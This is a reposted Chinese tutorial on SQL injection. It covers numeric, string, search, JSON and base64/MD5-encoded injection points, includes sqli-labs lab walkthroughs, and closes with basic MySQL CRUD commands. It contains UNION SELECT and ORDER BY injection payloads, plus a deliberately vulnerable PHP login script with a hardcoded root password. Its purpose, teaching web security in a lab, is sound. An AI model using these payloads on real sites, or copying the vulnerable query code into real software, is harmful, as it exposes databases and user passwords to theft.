web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改相关的知识,希望对你有一定的参考价值。

格式类型

数字型传参,如下php代码

$_GET['id'] //接受get传参
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

如果传递 ?id=1 那么sql语句就是 $sql="SELECT * FROM users WHERE id=1 LIMIT 0,1";
构造sql注入语句 就变成 $sql="SELECT * FROM users WHERE id=1 union select 1,2,3 LIMIT 0,1";

字符串型传参,如下php代码

$_GET['id'] //接受get传参
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

如果传递 ?id=1 那么sql语句就是 $sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
这里注意如果构造sql语句为 union select 那么就变成 $sql="SELECT * FROM users WHERE id='1 union select' LIMIT 0,1"; 这个sql联合查询语句在字符串里面就不起作用了,需要进行单引号闭合以及注释后面的单引号构造如下
`$sql="SELECT * FROM users WHERE id=‘1’ union select 1,2,3 --+’
这样就能够进行sql注入了

搜索型传参
如果一个网站存在搜索功能,那么它与电脑文件夹搜索相似使用通配符

SQL语句中 通配符->%

$_GET['name'] //接受get传参
$sql="SELECT * FROM users WHERE name like '%name%' LIMIT 0,1";

如果搜索功能的地方存在注入,就得考虑符号以及通配符闭合

靶场实验,那么依旧是来到sqli-labs靶场第一关
在这里插入图片描述
先看一下源代码,很明显是字符串注入
在这里插入图片描述
那么直接构造sql语句 1' order by 4 --+1' order by 3 --+ 发现有3列
在这里插入图片描述在这里插入图片描述
构造sql联合查询 -1' union select 1,2,3 --+ 注入成功,这个同mysql注入一样后面就不演示了
在这里插入图片描述
接着sqli-labs靶场第二关,先看一下源代码
在这里插入图片描述
这个就是数字型注入了,直接构造sql语句 order by 1,2,3
在这里插入图片描述
联合查询 -1 union select 1,2,3
在这里插入图片描述

Json注入

1.Json简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。

2.Json注入点
Json注入一般发生在app登陆的地方
传统传参注入 http://www.xxx.com/?id=1&pass=admin

Json传参注入

{
	"id":'1'
	"pass":'admin'
}

在这里插入图片描述
那么我们通过一段php代码来实战一下json注入,代码如下

<form action="" method="POST">
<input type='text' name='json' value='{"username":"admin"}'>
<input type='submit' value='提交'>
</form>
<?php
  header('content-type:text/html;charset=utf-8');
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
	//{"username":"admin"}

    $json=json_decode($json_str);
    if(!$json){
      die('JSON文档格式有误,请检查');
    }
    $username=$json->username;
	//echo $username;
    //$passwd=$json->passwd;

    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','admin123');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('security');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf-8');
    $sql="SELECT * FROM users WHERE username='{$username}'";
	//echo $sql;
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
    }
    $result->free();
    $mysqli->close();
  }
?>

在这里插入图片描述
那么构造注入 {"username":"admin' order by 4#"} 有三列
在这里插入图片描述
sql联合查询 {"username":"-admin' union select 1,2,3#"}
在这里插入图片描述
如果没有#注释单引号的话就会报错,那么后面注入同mysql注入一样
在这里插入图片描述

加密注入

之前介绍过,像遇到MD5、base64这种把id后面的参数加密该如何注入

base64
编码后:http://www.xxx.com/?id=MQ==
解码后:http://www.xxx.com/?id=1

那么构造注入就得整体构造
编码后:http://www.xxx.com/?id=MSBhbmQgdW5pb24gc2VsZWN0IDEsMiwz
解码后:http://www.xxx.com/?id=1 and union select 1,2,3

md5
加密后:http://www.xxx.com/?id=a0b923820dcc509a
解密后:http://www.xxx.com/?id=1

那么构造注入也是整体构造
加密后:http://www.xxx.com/?id=b9bb3c1ba9a2bf65
解密后:http://www.xxx.com/?id=union select 1,2,3

MYSQL增删查改

创建一个ruler表,有id和name两列
create table ruler(id int(10),name varchar(10));
在这里插入图片描述
插入数据
insert into ruler(id,name) values(1,‘a’);
在这里插入图片描述
查询所有数据
select * from ruler;
在这里插入图片描述
查询指定数据id
在这里插入图片描述
修改数据,id为1的name变成张三
update ruler set name=‘张三’ where id=1;
在这里插入图片描述
在这里插入图片描述
delete from ruler where id=2;
删除id=2的数据
在这里插入图片描述
那么由于SQL注入的原理就是通过改变原来的变量值,再组合sql语句达到攻击者的目的,要保证sql注入的时候不出现问题,就得让这四种操作方式,组合不出现错误

黑盒测试思路
网站功能点:显示新闻:查询语句、注册会员:插入语句,后台新闻类发布、删除、更新对应相应的sql语句
在这里插入图片描述

以上是关于web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改的主要内容,如果未能解决你的问题,请参考以下文章

web安全sql注入HTTP头&Post&Cookie注入

web安全sql注入盲注&布尔&延时&报错

web安全sql注入权限&跨库&文件读写&命令执行

web安全sql注入Sql_Server数据库&AWD思路

web安全文件上传漏洞&代码函数&格式后缀&场景

Web安全—information_schema数据库详解&基础补充